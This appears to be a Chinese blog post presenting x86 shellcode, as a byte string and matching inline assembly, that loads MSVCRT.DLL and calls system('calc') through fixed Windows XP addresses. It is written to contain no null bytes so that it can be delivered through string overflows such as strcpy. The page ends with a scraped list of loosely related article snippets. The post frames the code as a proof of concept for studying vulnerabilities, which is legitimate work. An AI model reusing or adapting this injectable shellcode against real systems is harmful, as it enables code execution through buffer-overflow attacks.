该样本弹出计算器的原理为:
1)先加载MSVCRT.DLL。
2)再使用system()函数调用calc命令。

该shellcode脚本只在xp下通过实验,仅适合用来研究和验证漏洞。其中的函数地址采用的都是固定地址。win7以上不适用。

该样本特点:没有任何0x00,可以参与字符串类溢出。比如strcpy等。

unsigned char shellcode2[] ="\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x7b\x1d\x80\x7c""\x52\x8D\x45\xF4\x50""\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6C\x63\x89\x45\xF4\x33\xC0\x89\x45\xF8""\x8D\x45\xF4""\x50\xB8""\xc7\x93\xbf\x77""\xFF\xD0";
void Test1()
{__asm{push    ebpmov     ebp, espxor     eax, eaxpush    eaxpush    eaxpush    eaxmov     byte ptr[ebp - 0Ch], 4Dh; 'M'mov     byte ptr[ebp - 0Bh], 53h; 'S'mov     byte ptr[ebp - 0Ah], 56h; 'V'mov     byte ptr[ebp - 9], 43h; 'C'mov     byte ptr[ebp - 8], 52h; 'R'mov     byte ptr[ebp - 7], 54h; 'T'mov     byte ptr[ebp - 6], 2Eh; '.'mov     byte ptr[ebp - 5], 44h; 'D'mov     byte ptr[ebp - 4], 4Ch; 'L'mov     byte ptr[ebp - 3], 4Ch; 'L'mov     edx, 7C801D7Bhpush    edxlea     eax, [ebp - 0Ch]push    eaxcall    dword ptr[ebp - 10h]push    ebpmov     ebp, espsub     esp, 2Chmov     eax, 636C6163hmov[ebp - 0Ch], eaxxor     eax, eaxmov[ebp - 8], eaxlea     eax, [ebp - 0Ch]push    eaxmov     eax, 77BF93C7hcall    eax}
}

shellcode样本—弹出计算器相关推荐

  1. c和汇编混合编程----shellcode----弹出计算器

    先用c和汇编混合编程成功弹出计算器(在VC++里运行) #include "stdio.h" #include "windows.h"int main(int ...

  2. 用计算机弹出音乐谱,计算器弹歌曲谱子

    [www.gywlwh.com--百科大全] 计算器也能够弹奏出美妙动听的音乐,那么今天给大家分享一下关于计算器弹奏简谱音乐有哪些,本站今天为大家精心准备了计算器弹歌曲谱子,希望对大家有所帮助! 计算 ...

  3. 用计算机弹出美妙的歌,计算器弹音乐 大家给点流行歌乐谱吧,谢谢大家

    以歌曲千本樱为例,方法如下所示:工具:计算器1.千本樱第一部分:222,221,221,24,221,221,2456,562121,562121,562121,568-+-986,如下图所示.2.千 ...

  4. 用计算机弹出歌的数字,计算器弹歌曲谱子

    [www.wzktys.com--生活文摘] 计算器也能够弹奏出美妙动听的音乐,那么今天给大家分享一下关于计算器弹奏简谱音乐有哪些,天涯招考网今天为大家精心准备了计算器弹歌曲谱子,希望对大家有所帮助! ...

  5. 【JavaScript练习】用户输入任意两个数字的任意算数运算(简单的计算器小功能)并弹出运算后的结果。

    [JavaScript练习]用户输入任意两个数字的任意算数运算(简单的计算器小功能)并弹出运算后的结果. <!DOCTYPE html> <html lang="en&qu ...

  6. java fx alert_javaFx:使用弹出对话框 Alert

    javaFx8 自带的对话框非常好用,类似的使用方式如下: /** * 弹出一个通用的确定对话框 * @param p_header 对话框的信息标题 * @param p_message 对话框的信 ...

  7. [js]uploadify结合jqueryUI弹出框上传,js中的冒出的bug,又被ie坑了

    引言 最近在一个项目中,在用户列表中需要对给没有签名样本的个别用户上传签名的样本,就想到博客园中上传图片使用弹出框方式,博客园具体怎么实现的不知道,只是如果自己来弄,想到两个插件的结合使用,在弹出框中 ...

  8. 用Java弹出创建新的消息通知

    首先创建JFrame作为弹出窗口. 在其中添加一些JLabel以包含信息,并在适当的位置分配它们,使其看起来像一条通知消息. 下面给出了示例代码: String message = 'You got ...

  9. shellcode---c和汇编混合编程---弹出cmd

    首先用C/C++语言实现弹出cmd #include "stdio.h" #include "windows.h"int main(int argc, char ...

  10. android studio 弹出式对话框设置时间_如何设置当单击某个对象时运行指定的应用程序?...

    在放映幻灯片的过程中,有时会需要启动其他应用程序,比如计算器或记事本来做一些辅助性的工作.在PowerPoint 2010中能否通过单击某个对象来运行指定的应用程序? 1解决方案 为指定对象设置动作效 ...

最新文章

  1. vs code设置支持jsx支持emmet
  2. 我们应该使用什么指标来描述数据中心及其效率?
  3. 线性判别分析LDA的数学原理(二)
  4. python3链表_python3实现单向链表
  5. AQS.accquire
  6. 推荐阅读-Docker实现原理之Namespace,CGroup
  7. 【收藏】这个时候才是最好的自学时间!深度学习-机器学习-GNN-NLP等AI课程超级大列表汇总,拿走不谢...
  8. 通用 USB 重定向和客户端驱动器注意事项
  9. 如何获取iOS应用网络权限?
  10. 【上汽零束SOA】云管端一体化SOA软件平台系列介绍之一:产品篇
  11. 2012年度总结:内心宁静的2012
  12. Specified class is an interface
  13. python 字母查找
  14. Google AppOps
  15. GNSS 使用DFT算法 能量损耗仿真
  16. Python简单处理excel数据(拆分合并单元格、根据表头合并sheet、添加列数、添加内容操作)
  17. 11.深入浅出:深度负反馈及放大倍数——参考《模拟电子技术基础》清华大学华成英主讲
  18. c#简要程序设计_色彩在品牌设计方面的简要指南
  19. 会员系统_健身房管理系统
  20. ArchLinux安装fcitx5以及拼音输入法

热门文章

  1. matlab计算abc三相短路电流_不用到处问别人了,关于变压器的相关计算公式,都在这里!收藏好...
  2. Sublime常用快捷键
  3. 音视频基础:H264、H265、MPEG-4、VP8、VP9编码基础知识
  4. 【FFmpeg4.1.4 编码】h265编码
  5. Keil4新建汇编模板工程
  6. 暗时间--平凡与优秀间的距离
  7. 什么是数据库管理系统?
  8. Pixhawk原生固件PX4之调节怠速
  9. 华为悦盒EC6109u线刷救砖文件fastboot.bin bootargs.bin recovery
  10. SoX 音频处理工具使用方法